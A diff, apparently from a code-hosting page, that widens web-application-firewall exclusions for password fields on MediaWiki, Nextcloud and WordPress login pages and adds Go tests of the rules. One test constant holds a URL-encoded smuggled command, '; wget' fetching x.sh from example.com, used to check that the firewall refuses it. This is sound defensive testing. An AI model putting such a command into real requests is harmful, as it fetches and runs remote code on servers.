}
|
}
|
||||||
|
|
||||||
@@ -233,6 +241,25 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, sent := range mediawikiPasswordFields {
|
||||||
|
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
name := strings.TrimSuffix(sent.field, "=")
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, name)
|
||||||
|
|
||||||
|
// No rule these fields keep catches the SQL injection or the path
|
||||||
|
// traversal.
|
||||||
|
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||||
// fields that skip the other command rules, as a query value.
|
// fields that skip the other command rules, as a query value.
|
||||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -253,7 +280,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs = readingBodies(t)
|
crs = readingBodies(t)
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
||||||
|
mediawikiPasswordFields) {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
@@ -311,8 +339,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||||
mediawikiWikitextFields...)
|
mediawikiPasswordFields)
|
||||||
|
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|||||||
@@ -61,6 +61,46 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||||
|
|
||||||
|
# The password, in the body, skips each rule that random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||||
|
"id:900119,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:password "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
||||||
|
|
||||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||||
"id:900103,phase:1,pass,nolog,\
|
"id:900103,phase:1,pass,nolog,\
|
||||||
|
|||||||
@@ -83,7 +83,6 @@ var nextcloudQueryFields = []string{
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var nextcloudFormFields = []struct{ target, field string }{
|
var nextcloudFormFields = []struct{ target, field string }{
|
||||||
{"/login", "user="},
|
{"/login", "user="},
|
||||||
{"/login", passwordField},
|
|
||||||
{nextcloudUsers, "userid="},
|
{nextcloudUsers, "userid="},
|
||||||
{nextcloudUsers, "displayName="},
|
{nextcloudUsers, "displayName="},
|
||||||
{nextcloudUsers, "groups%5B%5D="},
|
{nextcloudUsers, "groups%5B%5D="},
|
||||||
@@ -253,6 +252,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
|||||||
return scores
|
return scores
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
||||||
|
// bodies, gives signing in with value, a query value, as the password.
|
||||||
|
func nextcloudPasswordScore(t *testing.T, value string) int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, "/login", []string{formData}}
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
||||||
|
|
||||||
|
return got.Score
|
||||||
|
}
|
||||||
|
|
||||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -262,7 +272,23 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
||||||
|
t.Errorf("password %s refused: %d", value, score)
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNextcloudPasswordPasses(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, "/login", []string{formData}}
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
|
|
||||||
|
// No rule the password keeps catches the SQL injection or the path
|
||||||
|
// traversal.
|
||||||
|
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
||||||
@@ -313,6 +339,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s let through: %d", request, score)
|
t.Errorf("%s let through: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
||||||
|
t.Errorf("password %s let through: %d", commandInjection, score)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||||
|
|||||||
@@ -96,11 +96,45 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
|||||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||||
|
|
||||||
# Signing in, in pwd, where a password holds any characters:
|
# Signing in, in pwd, which skips each rule that random passwords set off.
|
||||||
# 930120: a password ending in /etc/hosts
|
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||||
"id:900704,phase:1,pass,nolog,chain"
|
"id:900704,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
SecRule &ARGS_GET:pwd "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
||||||
|
|
||||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||||
|
|||||||
Reference in new issue
Block a user